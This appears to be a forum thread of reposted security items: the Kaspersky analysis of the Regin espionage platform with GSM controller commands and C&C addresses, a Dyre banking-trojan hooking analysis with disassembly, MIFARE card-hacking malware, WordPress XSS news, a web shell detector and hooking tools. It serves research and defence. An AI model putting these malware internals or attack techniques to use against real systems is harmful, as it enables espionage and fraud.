Nytro

Regin: Nation-state ownage of GSM networks "Beware of Regin, the master! His heart is poisoned. He would be thy bane..." By GReAT on November 24, 2014. 2:00 pm Incidents Research GReAT Kaspersky Labs' Global Research & Analysis Team @e_kaspersky/great Motto: "Beware of Regin, the master! His heart is poisoned. He would be thy bane..." "The Story of Siegfried" by James Baldwin Introduction, history Download our full Regin paper (PDF). In the spring of 2012, following a Kaspersky Lab presentation on the unusual facts surrounding the Duqu malware, a security researcher contacted us and mentioned that Duqu reminded him of another high-end malware incident. Although he couldn't share a sample, the third-party researcher mentioned the "Regin" name, a malware attack that is now dreaded by many security administrators in governmental agencies around the world. For the past two years, we've been tracking this most elusive malware across the world. From time to time, samples would appear on various multi-scanner services, but they were all unrelated to each other, cryptic in functionality and lacking context. It's unknown exactly when the first samples of Regin were created. Some of them have timestamps dating back to 2003. The victims of Regin fall into the following categories: Telecom operators Government institutions Multi-national political bodies Financial institutions Research institutions Individuals involved in advanced mathematical/cryptographical research So far, we've observed two main objectives from the attackers: Intelligence gathering Facilitating other types of attacks While in most cases, the attackers were focused on extracting sensitive information, such as e-mails and documents, we have observed cases where the attackers compromised telecom operators to enable the launch of additional sophisticated attacks. More about this in the GSM Targeting section below. Perhaps one of the most publicly known victims of Regin is Jean Jacques Quisquater (https://en.wikipedia.org/wiki/Jean-Jacques_Quisquater), a well-known Belgian cryptographer. In February 2014, Quisquater announced he was the victim of a sophisticated cyber intrusion incident. We were able to obtain samples from the Quisquater case and confirm they belong to the Regin platform. Another interesting victim of Regin is a computer we are calling "The Magnet of Threats". This computer belongs to a research institution and has been attacked by Turla, Mask/Careto, Regin, Itaduke, Animal Farm and some other advanced threats that do not have a public name, all co-existing happily on the same computer at some point. Initial compromise and lateral movement The exact method of the initial compromise remains a mystery, although several theories exist, which include man-in-the-middle attacks with browser zero-day exploits. For some of the victims, we observed tools and modules designed for lateral movement. So far, we have not encountered any exploits. The replication modules are copied to remote computers by using Windows administrative shares and then executed. Obviously, this technique requires administrative privileges inside the victim's network. In several cases, the infected machines were also Windows domain controllers. Targeting of system administrators via web-based exploits is one simple way of achieving immediate administrative access to the entire network. The Regin platform In short, Regin is a cyber-attack platform which the attackers deploy in the victim networks for ultimate remote control at all possible levels. The platform is extremely modular in nature and has multiple stages. Regin platform diagram The first stage ("stage 1") is generally the only executable file that will appear in victim' systems. Further stages are stored either directly on the hard drive (for 64 bit systems), as NTFS Extended Attributes or registry entries. We've observed many different stage 1 modules, which sometimes have been merged with public sources to achieve a type of polymorphism, complicating the detection process. The second stage has multiple purposes and can remove the Regin infection from the system if instructed so by the 3rd stage. The second stage also creates a marker file that can be used to identify the infected machine. Known filenames for this marker are: %SYSTEMROOT%\system32\nsreg1.dat %SYSTEMROOT%\system32\bssec3.dat %SYSTEMROOT%\system32\msrdc64.dat Stage 3 exists only on 32 bit systems - on 64 bit systems, stage 2 loads the dispatcher directly, skipping the third stage. Stage 4, the dispatcher, is perhaps the most complex single module of the entire platform. The dispatcher is the user-mode core of the framework. It is loaded directly as the third stage of the 64-bit bootstrap process or extracted and loaded from the VFS as module 50221 as the fourth stage on 32-bit systems. The dispatcher takes care of the most complicated tasks of the Regin platform, such as providing an API to access virtual file systems, basic communications and storage functions as well as network transport sub-routines. In essence, the dispatcher is the brain that runs the entire platform. A thorough description of all malware stages can be found in our full technical paper. Virtual File Systems (32/64-bit) The most interesting code from the Regin platform is stored in encrypted file storages, known as Virtual File Systems (VFSes). During our analysis we were able to obtain 24 VFSes, from multiple victims around the world. Generally, these have random names and can be located in several places in the infected system. For a full list, including format of the Regin VFSes, see our technical paper. Unusual modules and artifacts With high-end APT groups such as the one behind Regin, mistakes are very rare. Nevertheless, they do happen. Some of the VFSes we analyzed contain words which appear to be the respective codenames of the modules deployed on the victim: legspinv2.6 and LEGSPINv2.6 WILLISCHECKv2.0 HOPSCOTCH Another module we found, which is a plugin type 55001.0 references another codename, which is U_STARBUCKS: GSM Targeting The most interesting aspect we found so far about Regin is related to an infection of a large GSM operator. One VFS encrypted entry we located had internal id 50049.2 and appears to be an activity log on a GSM Base Station Controller. From https://en.wikipedia.org/wiki/Base_station_subsystem According to the GSM documentation (http://www.telecomabc.com/b/bsc.html): "The Base Station Controller (BSC) is in control of and supervises a number of Base Transceiver Stations (BTS). The BSC is responsible for the allocation of radio resources to a mobile call and for the handovers that are made between base stations under his control. Other handovers are under control of the MSC." Here's a look at the decoded Regin GSM activity log: This log is about 70KB in size and contains hundreds of entries like the ones above. It also includes timestamps which indicate exactly when the command was executed. The entries in the log appear to contain Ericsson OSS MML (Man-Machine Language as defined by ITU-T) commands. Here's a list of some commands issued on the Base Station Controller, together with some of their timestamps: 2008-04-25 11:12:14: rxmop:moty=rxotrx; 2008-04-25 11:58:16: rxmsp:moty=rxotrx; 2008-04-25 14:37:05: rlcrp:cell=all; 2008-04-26 04:48:54: rxble:mo=rxocf-170,subord; 2008-04-26 06:16:22: rxtcp:MOty=RXOtg,cell=kst022a; 2008-04-26 10:06:03: IOSTP; 2008-04-27 03:31:57: rlstc:cell=pty013c,state=active; 2008-04-27 06:07:43: allip:acl=a2; 2008-04-28 06:27:55: dtstp:DIP=264rbl2; 2008-05-02 01:46:02: rlstp:cell=all,state=halted; 2008-05-08 06:12:48: rlmfc:cell=NGR035W,mbcchno=83&512&93&90&514&522,listtype=active; 2008-05-08 07:33:12: rlnri:cell=NGR058y,cellr=ngr058x; 2008-05-12 17:28:29: rrtpp:trapool=all; [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 8 9 10 11 12 13 [/TD] [TD=class: crayon-code]2008-04-25 11:12:14: rxmop:moty=rxotrx; 2008-04-25 11:58:16: rxmsp:moty=rxotrx; 2008-04-25 14:37:05: rlcrp:cell=all; 2008-04-26 04:48:54: rxble:mo=rxocf-170,subord; 2008-04-26 06:16:22: rxtcp:MOty=RXOtg,cell=kst022a; 2008-04-26 10:06:03: IOSTP; 2008-04-27 03:31:57: rlstc:cell=pty013c,state=active; 2008-04-27 06:07:43: allip:acl=a2; 2008-04-28 06:27:55: dtstp:DIP=264rbl2; 2008-05-02 01:46:02: rlstp:cell=all,state=halted; 2008-05-08 06:12:48: rlmfc:cell=NGR035W,mbcchno=83&512&93&90&514&522,listtype=active; 2008-05-08 07:33:12: rlnri:cell=NGR058y,cellr=ngr058x; 2008-05-12 17:28:29: rrtpp:trapool=all;[/TD] [/TR] [/TABLE] Descriptions for the commands: rxmop - check software version type; rxmsp - list current call forwarding settings of the Mobile Station; rlcrp - list off call forwarding settings for the Base Station Controller; rxble - enable (unblock) call forwarding; rxtcp - show the Transceiver Group of particular cell; allip - show external alarm; dtstp - show DIgital Path (DIP) settings (DIP is the name of the function used for supervision of the connected PCM (Pulse Code Modulation) lines); rlstc - activate cell(s) in the GSM network; rlstp - stop cell(s) in the GSM network; rlmfc - add frequencies to the active broadcast control channel allocation list; rlnri - add cell neightbour; rrtpp - show radio transmission transcoder pool details; The log seems to contain not only the executed commands but also usernames and passwords of some engineering accounts: sed[snip]:Alla[snip] hed[snip]:Bag[snip] oss:New[snip] administrator:Adm[snip] nss1:Eric[snip] In total, the log indicates that commands were executed on 136 different cells. Some of the cell names include "prn021a, gzn010a, wdk004, kbl027a, etc...". The command log we obtained covers a period of about one month, from April 25, 2008 through May 27, 2008. It is unknown why the commands stopped in May 2008 though; perhaps the infection was removed or the attackers achieved their objective and moved on. Another explanation is that the attackers improved or changed the malware to stop saving logs locally and that's why only some older logs were discovered. Communication and C&C The C&C mechanism implemented in Regin is extremely sophisticated and relies on communication drones deployed by the attackers throughout the victim networks. Most victims communicate with another machine in their own internal network, through various protocols, as specified in the config file. These include HTTP and Windows network pipes. The purpose of such a complex infrastructure is to achieve two goals: give attackers access deep into the network, potentially bypassing air gaps and restrict as much as possible the traffic to the C&C. Here's a look at the decoded configurations: 17.3.40.101 transport 50037 0 0 y.y.y.5:80 ; transport 50051 217.y.y.yt:443 17.3.40.93 transport 50035 217.x.x.x:443 ; transport 50035 217.x.x.x:443 50.103.14.80 transport 27 203.199.89.80 ; transport 50035 194.z.z.z:8080 51.9.1.3 transport 50035 192.168.3.3:445 ; transport 50035 192.168.3.3:9322 18.159.0.1 transport 50271 DC ; transport 50271 DC [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 [/TD] [TD=class: crayon-code]17.3.40.101 transport 50037 0 0 y.y.y.5:80 ; transport 50051 217.y.y.yt:443 17.3.40.93 transport 50035 217.x.x.x:443 ; transport 50035 217.x.x.x:443 50.103.14.80 transport 27 203.199.89.80 ; transport 50035 194.z.z.z:8080 51.9.1.3 transport 50035 192.168.3.3:445 ; transport 50035 192.168.3.3:9322 18.159.0.1 transport 50271 DC ; transport 50271 DC[/TD] [/TR] [/TABLE] In the above table, we see configurations extracted from several victims that bridge together infected machines in what appears to be virtual networks: 17.3.40.x, 50.103.14.x, 51.9.1.x, 18.159.0.x. One of these routes reaches out to the "external" C&C server at 203.199.89.80. The numbers right after the "transport" indicate the plugin that handles the communication. These are in our case: 27 - ICMP network listener using raw sockets 50035 - Winsock-based network transport 50037 - Network transport over HTTP 50051 - Network transport over HTTPS 50271 - Network transport over SMB (named pipes) The machines located on the border of the network act as routers, effectively connecting victims from inside the network with C&Cs on the internet. After decoding all the configurations we've collected, we were able to identify the following external C&Cs. [TABLE=width: 80%] [TR] [TD=width: 30%, align: center]C&C server IP[/TD] [TD=width: 35%, align: center]Location[/TD] [TD=width: 35%, align: center]Description[/TD] [/TR] [TR] [TD]61.67.114.73[/TD] [TD]Taiwan, Province Of China Taichung[/TD] [TD]Chwbn[/TD] [/TR] [TR] [TD]202.71.144.113[/TD] [TD]India, Chetput[/TD] [TD]Chennai Network Operations (team-m.co)[/TD] [/TR] [TR] [TD]203.199.89.80[/TD] [TD]India, Thane[/TD] [TD]Internet Service Provider[/TD] [/TR] [TR] [TD]194.183.237.145[/TD] [TD]Belgium, Brussels[/TD] [TD]Perceval S.a.[/TD] [/TR] [/TABLE] One particular case includes a country in the Middle East. This case was mind-blowing so we thought it's important to present it. In this specific country, all the victims we identified communicate with each other, forming a peer-to-peer network. The P2P network includes the president's office, a research center, educational institution network and a bank. These victims spread across the country are all interconnected to each other. One of the victims contains a translation drone which has the ability to forward the packets outside of the country, to the C&C in India. This represents a rather interesting command-and-control mechanism, which is guaranteed to raise very little suspicions. For instance, if all commands to the president's office are sent through the bank's network, then all the malicious traffic visible for the president's office sysadmins will be only with the bank, in the same country. Victim Statistics Over the past two years, we collected statistics about the attacks and victims of Regin. These were aided by the fact that even after the malware is uninstalled, certain artifacts are left behind which can help identify an infected (but cleaned) system. For instance, we've seen several cases where the systems were cleaned but the "msrdc64.dat" infection marker was left behind. So far, victims of Regin were identified in 14 countries: Algeria Afghanistan Belgium Brazil Fiji Germany Iran India Indonesia Kiribati Malaysia Pakistan Russia Syria In total, we counted 27 different victims, although it should be pointed out that the definition of a victim here refers to a full entity, including their entire network. The number of unique PCs infected with Regin is of course much, much higher. From the map above, Fiji and Kiribati are unusual, because we rarely see such advanced malware in such remote, small countries. In particular, the victim in Kiribati is most unusual. To put this into context, Kiribati is a small island in the Pacific, with a population around 100,000. More information about the Regin victims is available through Kaspersky Intelligent Services. Contact: intelreports@kaspersky.com Attribution Considering the complexity and cost of Regin development, it is likely that this operation is supported by a nation-state. While attribution remains a very difficult problem when it comes to professional attackers such as those behind Regin, certain metadata extracted from the samples might still be relevant. As this information could be easily altered by the developers, it's up to the reader to attempt to interpret this: as an intentional false flag or a non-critical indicator left by the developers. More information about Regin is available to Kaspersky Intelligent Services' clients. Contact: intelreports@kaspersky.com Conclusions For more than a decade, a sophisticated group known as Regin has targeted high-profile entities around the world with an advanced malware platform. As far as we can tell, the operation is still active, although the malware may have been upgraded to more sophisticated versions. The most recent sample we've seen was from a 64-bit infection. This infection was still active in the spring of 2014. The name Regin is apparently a reversed "In Reg", short for "In Registry", as the malware can store its modules in the registry. This name and detections first appeared in anti-malware products around March 2011. From some points of view, the platform reminds us of another sophisticated malware: Turla. Some similarities include the use of virtual file systems and the deployment of communication drones to bridge networks together. Yet through their implementation, coding methods, plugins, hiding techniques and flexibility, Regin surpasses Turla as one of the most sophisticated attack platforms we have ever analysed. The ability of this group to penetrate and monitor GSM networks is perhaps the most unusual and interesting aspect of these operations. In today's world, we have become too dependent on mobile phone networks which rely on ancient communication protocols with little or no security available for the end user. Although all GSM networks have mechanisms embedded which allow entities such as law enforcement to track suspects, there are other parties which can gain this ability and further abuse them to launch other types of attacks against mobile users. Full technical paper with IOCs. Kaspersky products detect modules from the Regin platform as: Trojan.Win32.Regin.gen and Rootkit.Win32.Regin. If you detect a Regin infection in your network, contact us at: intelservices@kaspersky.com Sursa: Regin: Nation-state ownage of GSM networks - Securelist

Understanding Crypto-Ransomware Table of Contents Executive Summary 3 Introduction 4 Dataset and Timeline 6 Analysis Methodology 8 Results 11 Droppers, anti-analysis and persistence 11 C&C communication 13 Encryption 15 Targeted file types 17 Payment options 20 Implementation, flaws and version evolution 22 Conclusion 24 References 26 Appendix A: Fake Cryptolocker C&C Server 28 and CryptDecrypt Hook Appendix B: Fake Cryptowall C&C Server 30 Appendix C: Hooking WriteProcessMemory 32 About Bromium 35 Download: http://www.bromium.com/sites/default/files/bromium-report-ransomware.pdf

Hacking RFID Payment Cards Made Possible with Android App 2:03 am (UTC-7) | by Veo Zhang (Mobile Threats Analyst) We recently encountered a high-risk Android app detected as ANDROIDOS_STIP.A in Chile. This app, found distributed through forums and blogs, can be used to hack into the user’s RFID bus transit card to recharge the credits. What is the mechanism behind this, and what is the security risk of RFID payment cards in general? Paying via RFID cards is becoming more popular nowadays as more mobile devices add NFC support. Banks, merchants or public services issue RFID cards to their customers with prepaid credits. Security Issues with RFID Cards Because it is widely used, it’s no surprise that that RFID cards have become targeted by attacks. Take for instance the recent Tarjeta bip! card hacking incident in Chile. These cards are MIFARE-based smartcards; MIFARE refers to a family of chips widely used in contactless smart cards and proximity cards. Figure 1. MIFARE devices Looking at the code of the Android app, we found that if it runs on a device equipped with NFC it can read and write to these cards. The malicious app writes predefined data onto the card, raising the user’s balance to 10,000 Chilean pesos (approximately 15 US dollars). This particular trick will only work with this particular fare card, since it relies on the format of the card in question. How was the tool’s author able to rewrite the card’s information despite not having the correct authentication keys? This is because these cards are based on an older version of the MIFARE series of cards (MIFARE Classic), which is known to have multiple security problems. An attacker is able to clone or modify a MIFARE Classic card in under 10 seconds, and the equipment (such as the Proxmark3), together with any needed support, is sold online. Figure 2. Proxmark3 for sale Using widely available tools, the attacker cracked the card’s authentication key. With the cracked key and the native NFC support in Android and the device, cloning a card and adding credits can be easily implemented in a mobile app. Figure 3. Manufacturer and memory content of a MIFARE Classic card Attacks on other kinds of MIFARE cards (specifically, MIFARE DESFire and MIFARE Ultralight) are known to exist. We know of at least three vulnerable cards which we have: a social security card with banking service, a payment card for transportation and shopping, and a dining card. The social security card has approximately seven million users. Figure 4. MIFARE DESFire-based social security card The dining card uses MIFARE Classic cards, and our testing revealed the on-card credits can be manipulated. The two other cards are MIFARE DESFire cards, which are vulnerable to side-channel attacks. The cryptosystems in these cards leak information if the power used is monitored; the keys can be recovered within seven hours. If the issued keys are not random, customer cards can be cloned or manipulated similarly to MIFARE Classic cards. Or even worse, credits can also be manipulated within a NFC-enabled mobile device. Conclusion These particular MIFARE models were discontinued years ago and supplemented with more secure models. However, it appears that card issuers have opted for cheaper solutions which put their customers at risk. NFC We recommend customers take steps to protect RFID cards in their possession. They should also periodically check the balances of their accounts as well. In addition, if possible, they should check if any cards they are currently using are vulnerable and report these to their providers. RFID/NFC attacks are a well-known risk; in the past we have provided tips both to end users and businesses on how to use NFC safely. Sursa: Hacking RFID Payment Cards Made Possible with Android App | Security Intelligence Blog | Trend Micro

Regin: Top-tier espionage tool enables stealthy surveillance Symantec Security Response Version 1.0 – November 24, 2014 OVERVIEW...................................................................... 3 Introduction................................................................... 5 Timeline.......................................................................... 5 Target profile.................................................................. 6 Infection vector........................................................ 6 Architecture................................................................... 8 Stage 0 (dropper)..................................................... 9 Stage 1...................................................................... 9 Stage 2...................................................................... 9 Stage 3...................................................................... 9 Stage 4............................................................ 11 Stage 5.................................................................... 11 Encrypted virtual file system containers ?????????????? 11 Command-and-control operations......................... 12 Logging................................................................... 12 Payloads....................................................................... 14 64-bit version............................................................... 15 File names.............................................................. 15 Stage differences................................................... 15 Conclusion.................................................................... 16 Protection..................................................................... 16 Appendix...................................................................... 18 Data files................................................................ 18 Indicators of compromise............................................ 20 File MD5s................................................................ 20 File names/paths.................................................... 20 Extended attributes............................................... 21 Registry.................................................................. 21 Download: http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/regin-analysis.pdf

Web Shell Detector Web Shell Detector – is a php script that helps you find and identify php/cgi(perl)/asp/aspx shells. Web Shell Detector has a “web shells” signature database that helps to identify “web shell” up to 99%. By using the latest javascript and css technologies, web shell detector has a light weight and friendly interface. Web Shell Detector is released under the MIT License The MIT License (MIT) | Open Source Initiative Console version (python): https://github.com/emposha/Shell-Detector Contributors Piotr ?uczko John Thornton Detection Number of known shells: 604 Requirements PHP 5.x, OpenSSL (only for secure file submission) Usage To activate Web Shell Detector: 1) Upload shelldetect.php and shelldetect.db to your root directory 2) Open shelldetect.php file in your browser Example: http://www.website.com/shelldetect.php 3) Inspect all strange files, if some of files look suspicious, send them to Web Shell Detector team. After submitting your file, it will be inspected and if there are any threats, it will be inserted into a “web shell detector” web shells signature database. 4) If any web shells found and identified use your ftp/ssh client to remove it from your web server (IMPORTANT: please be carefull because some of shells may be integrated into system files!). Demo http://www.emposha.com/demo/shelldetect/ Options extension - extensions that should be scanned showlinenumbers - show line number where suspicious function used dateformat - used with access time & modified time langauge - if I want to use other language directory - scan specific directory task - perform different task report_format - used with is_cron(true) file format for report file is_cron - if true run like a cron(no output) filelimit - maximum files to scan (more then 30000 you should scan specific directory) useget - activate _GET variable for easy way to recive tasks authentication - protect script with user & password in case to disable simply set to NULL remotefingerprint - get shells signatures db by remote Sursa: https://github.com/emposha/PHP-Shell-Detector

Dyre IE Hooks I recently wrapper up my analysis of Dyre. A PDF of document can be found in my papers repo. Most of the document focuses on the different stages that Dyre interacts with the operating system. There are still some areas that I'd like to dig deeper into. For now it should be a good resource for anyone trying to identify a machine infected with Dyre or wanting to know more about the family of malware. During the reversing process I found one part of Dyre functionality worthy of a post. As with most banking trojans Dyre contains functionality to hook APIs to log browser traffic. Typically to get the addresses of the APIs the sample will call GetProcAddress or manually traverse the portable executable file format to resolve symbols. If you are unfamiliar with the later technique I'd highly recommend reading section 3.3 of "Understanding Windows Shellcode" by Skape [1]. Dyre attempts to hook APIs in firefox.exe, chrome.exe and iexplorer.exe. It uses the standard GetProcAddress approach for resolving symbols in firefox.exe, is unsuccessful in chrome.exe and uses the GetProcAddress approach for the APIs LoadLibraryExW and CreateProcessInternalW in iexplorer.exe. Dyre hooks two APIs in WinInet.dll but it does it in a unique way. Dyre will read the image header timedatestamp [2] from WinInet. This value contains the time and date from when Wininet was created by the linker during compiling. It will then compare the timedatestamp to a list of timedatestamps stored by Dyre. The list contains presumably every time stamp for WinInet.dll since '2004-08-04 01:53:22' to '2014-07-25 04:04:59'. Below is an example of the values that can be found in the list. seg000:00A0C05F db 0 seg000:00A0C060 TimeStampList dd 4110941Bh ; DATA XREF: TimeStamp:_loopr seg000:00A0C064 dword_A0C064 dd 0 ; DATA XREF: TimeStamp+1Cr seg000:00A0C064 ; TimeStamp:loc_A07A0Dr ... seg000:00A0C068 dd 411095F2h <- Time stamp seg000:00A0C06C dd 0 <- WinInet index seg000:00A0C070 dd 4110963Fh seg000:00A0C074 dd 0 seg000:00A0C078 dd 4110967Dh seg000:00A0C07C dd 0 seg000:00A0C080 dd 411096D4h seg000:00A0C084 dd 0 seg000:00A0C088 dd 411096DDh seg000:00A0C08C dd 0 seg000:00A0C090 dd 41252C1Bh seg000:00A0C094 dd 0 ..... seg000:00A0C0AC dd 1 seg000:00A0C0B0 dd 435862A0h seg000:00A0C0B4 dd 2 seg000:00A0C0B8 dd 43C2A6A9h seg000:00A0C0BC dd 3 .... seg000:00A0D230 dd 4CE7BA3Fh seg000:00A0D234 dd 78h seg000:00A0D238 dd 53860FB3h seg000:00A0D23C dd 79h seg000:00A0D240 dd 53D22BCBh seg000:00A0D244 dd 7Ah Values converted to time >>> datetime.datetime.fromtimestamp(0x411095F2).strftime('%Y-%m-%d %H:%M:%S') '2004-08-04 01:53:22' >>> datetime.datetime.fromtimestamp(0x53D22BCB).strftime('%Y-%m-%d %H:%M:%S') '2014-07-25 04:04:59' If the timedatestamp is not present or an error occurs Dyre will send the hash of WinInet to the attackers server. If the hash is not found it will send WinInet back to the attackers. Below are some of the strings responsible for displaying errors for the command and control. '/%s/%s/63/file/%s/%s/%s/' "Check wininet.dll on server failed" "Send wininet.dll failed" If the timedatestamp is found in the list the next value is used as an index into another list. For example if the timedatestamp was 4802A13Ah it would be found at the 49th entry and the next value would be 0x15 or 21. Data seg000:00A0C1E8 dd 4802A13Ah <- '2008-04-13 18:11:38' seg000:00A0C1EC dd 15h <- 21 index Assembly to read index value seg000:00A07A0D movsx edx, word ptr ds:TimeStampIndex[eax*8] ; edx = 21 seg000:00A07A15 lea edx, [edx+edx*2] ; edx = 63 seg000:00A07A18 mov edx, ds:offset[edx*4] seg000:00A07A1F mov [ecx], edx ; save off value Python: calculate offset Python>hex(0x0A0D3E0 + (21+21* 2) * 4) 0xa0d4dc Read seg000:00A0D4DC dw 0F3Ch 0x0f3C offset to inline hook in wininet The value 0xF3C + the base address of WinInet is the function prologue for ICSecureSocket::Send_Fsm. Dyre uses this to know the address to place it's hooks. ICSecureSocket::Send_Fsm(CFsm_SecureSend *) 77200F37 90 NOP 77200F38 90 NOP 77200F39 90 NOP 77200F3A 90 NOP 77200F3B 90 NOP 77200F3C - E9 C7F0398A JMP 015A0008 <- Inline hook 015A0008 68 4077A000 PUSH 0A07740 015A000D C3 RETN 00A07740 55 PUSH EBP 00A07741 8BEC MOV EBP,ESP 00A07743 83EC 08 SUB ESP,8 00A07746 894D FC MOV DWORD PTR SS:[EBP-4],ECX 00A07749 68 2077A000 PUSH 0A07720 00A0774E FF75 08 PUSH DWORD PTR SS:[EBP+8] 00A07751 FF75 FC PUSH DWORD PTR SS:[EBP-4] 00A07754 FF15 94DEA000 CALL DWORD PTR DS:[A0DE94] 00A0775A 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX It will also hooks ICSecureSocket::Receive_Fsm in the same fashion. Closing Rather than calling GetProcAddress Dyre stores the timedatestamp and patch offset of every known version of WinInet to avoid triggering heuristic based scanners. Seems like an arduous approach but still kind of cool. Another interesting fact is Dyre has the ability to patch Trusteer's RapportGP.dll if found in the browser memory. Dyre is actually a family of malware worthy of a deep dive. At first glance I ignored it because everything looked pretty cut & paste. I'd recommend others to check it out. If you find anything useful please shoot me an email. Cheers. Hash Analyzed 099c36d73cad5f13ec1a89d5958486060977930b8e4d541e4a2f7d92e104cd21 http://www.nologin.org/Downloads/Papers/win32-shellcode.pdf IMAGE_FILE_HEADER structure (Windows) Sursa: Hooked on Mnemonics Worked for Me: Dyre IE Hooks

Worst WordPress hole for five years affects 86% of sites Trio of XSS turns attackers into admins By Darren Pauli, 24 Nov 2014 An estimated 86 per cent of WordPress websites harbour a dangerous cross-site scripting (XSS) hole in the popular comment system plugin, in what researcher Jouk Pynnonen calls the most serious flaw in five years. The bug could provide a pathway for attacking visitors' machines. The WP-Statistics plugin lets attackers inject JavaScript into comments, which can then infect reader computers or those of administrators. The flaw has existed for about four years affecting versions between 3.0 to 3.9.2 but not version 4.0 which handles regular expressions differently. Version 4.0.1 patched a separate and also critical set of XSS flaws discovered by the internal security team, along with a cross-site request forgery hole. Klikki Oy security bod Pynnonen revealed the earlier flaw last week in technical advisory. "An attacker could exploit the vulnerability by entering carefully crafted comments, containing program code, on WordPress blog posts and pages. Under default settings comments can be entered by anyone without authentication," Pynnonen said. "Program code injected in comments would be inadvertently executed in the blog administrator's web browser when they view the comment. The rogue code could then perform administrative operations by covertly taking over the administrator account. "Such operations include creating a new administrator account (with a known password), changing the current administrator password, and in the most serious case, executing attacker-supplied PHP code on the server. This grants the attacker operating system level access on the server hosting WordPress." The unauthenticated default exploit considering the server-side impact made it "probably the most serious WordPress core vulnerability that has been reported since 2009". Pynnonen developed a proof of concept exploit that mopped up evidence of injected script before quietly using the plugin editor to write attacker-supplied PHP code on the server, changing the user's password, and creating an administrator account. Attackers could then write more PHP code to the server through the editor instantly executed using an AJAX request to gain operating system level access. Other plugins that allow unprivileged users to enter HTML text could offer more attack vectors, Pynnonen said. Pynnonen created a work-around plugin for administrators who could not upgrade their WordPress servers. Yet a third set of recently patched XSS were discovered by Sucuri researcher Marc-Alexandre Montpas. The stored and reflected XSS in versions 8.3 and below also turned attackers to admins for versions , and permitted blackhat searh engine optimisation innjection into blog posts. "... the problem is very simple," Montpas said. "The plugin fails to properly sanitise some of the data it gathers for statistical purposes, which are controlled by the website's visitors." "If an attacker decided to put malicious Javascript code in the affected parameter, it would be saved in the database and printed as-is in the administrative panel, forcing the victim's browser to perform background tasks on its behalf. SANS diary scribe Johannes B. Ullrich said the XSS vulnerability was a common underestimated problem. "XSS does allow an attacker to modify the HTML of the site," Ullrich said. "Wordpress developers did attempt to implement the necessary safeguards [since] only certain tags are allowed, and even for these tags, the code checked for unsafe attributes. "Sadly, this check wasn't done quite right. Remember that browsers will also parse somewhat malformed HTML just fine." ® Sursa: DEATH by COMMENTS: WordPress XSS vuln is BIGGEST for YEARS • The Register

Cryptology ePrint Archive: Report 2014/435 Wait a minute! A fast, Cross-VM attack on AES Gorka Irazoqui and Mehmet Sinan Inci and Thomas Eisenbarth and Berk Sunar Abstract: In cloud computing, efficiencies are reaped by resource sharing such as co-location of computation and deduplication of data. This work exploits resource sharing in virtualization software to build a powerful cache-based attack on AES. We demonstrate the vulnerability by mounting Cross-VM Flush+Reload cache attacks in VMware VMs to recover the AES keys of OpenSSL 1.0.1 running inside the victim VM. Furthermore, the attack works in a realistic setting where different VMs are located on separate cores. The modified flush+reload attack we present, takes only in the order of seconds to minutes to succeed in a cross-VM setting. Therefore long term co-location, as required by other fine grain attacks in the literature, are not needed. The results of this study show that there is a great security risk to OpenSSL AES implementation running on VMware cloud services when the deduplication is not disabled. Category / Keywords: Original Publication (with minor differences): Research in Attacks, Intrusions and Defenses Symposium - RAID 2014 Date: received 5 Jun 2014, last revised 20 Nov 2014 Contact author: teisenbarth at wpi edu Available format(s): PDF | BibTeX Citation Version: 20141120:211658 (All versions of this report) Sursa: Cryptology ePrint Archive: Report 2014/435

[h=2]IAT Patcher[/h] [h=4]My new tool, based on bearparser.[/h][h=4](Experimental version, last update: 23.11.2014: added 64bit stub!) Download: x86 , x64 *requires: Microsoft Visual C++ 2010 Redistributable Package, available here: [Redist 32bit] [Redist 64bit] NOTE: this is just "quick and dirty" PoC. Improvements and optimization in implementation will come gradualy. Also, you can expect full source code of the IAT Patcher soon! [/h] The purpose of this app is persistent IAT hooking, made fast and easy. It provides substituting any function loaded from DLL by your custom function (the only requirement it that call convention and number of parameters are the same!). See examples below. Sample libraries: https://github.com/hasherezade/IAT_patcher_samples Sursa: hasherezade's homepage

By Radu FaraVirusi(com) on November 24, 2014 Ashampoo Burning Studio 2014 este un program excelent pentru inscriptionarea CD\DVD\Blu-Ray. Este de asemenea un bun inlocuitor pentru clasicul Nero Burning Room, care are cateva dezavantaje printre care: NU este gratuit si are o multime de programele inutile care se instaleaza odata cu programul principal, ocupand spatiu si resurse. Acum puteti obtine acest software complet GRATUIT. Programul costa in mod normal 50$ si ofera multe functii: crearea CD\DVD\Blu-Ray de tip Data functie de Backup\Restore realizare de DVD-Video, Video CD si Super Video CD copiere CD\DVD\Blu-Ray inscriptionare si crearea de imagini .iso, .cue\bin, ashdisc crearea de CD-uri Audio si MP3 plus Ripping Creeaza si imprima etichete si coperti pentru disc-urile tale Iata cum obtineti licenta GRATUITA: Accesati site-ul de mai jos pentru a obtine codul de inregistrare: Ashampoo® - Full Version License - Ashampoo® Burning Studio 2014 Descarcati produsul de aici: http://bigfiles.downloadcluster.com/public/ksw/4110/ashampoo_burning_studio_2014_12.0.5_16837.exe Sursa: Ashampoo Burning Studio 2014 (alternativa Nero) – Licenta GRATUITA

broadAnyWhere_poc_by_retme_bug_17356824 PoC source code of Android Bug: 17356824. diff of bug:https://android.googlesource.com/platform/packages/apps/Settings/+/37b58a4%5E%21/#F0 You can send broadcast to almost ANY reciever you want,even if it's a protect-broadcast or the reciever is a unexported/permission-limited one. All the devices prior to Android 5.0 are affected. demo video:Bug 17356824 poc video—????—???????????? more info: 360???? broadAnywhere?Broadcast?????????Bug: 17356824? - Retme???????? Sursa: https://github.com/retme7/broadAnyWhere_poc_by_retme_bug_17356824#broadanywhere_poc_by_retme_bug_17356824

Ne poti da un PSD / PNG mare cu logo-ul asta? Doar logo, fara CSS-ul din spate?

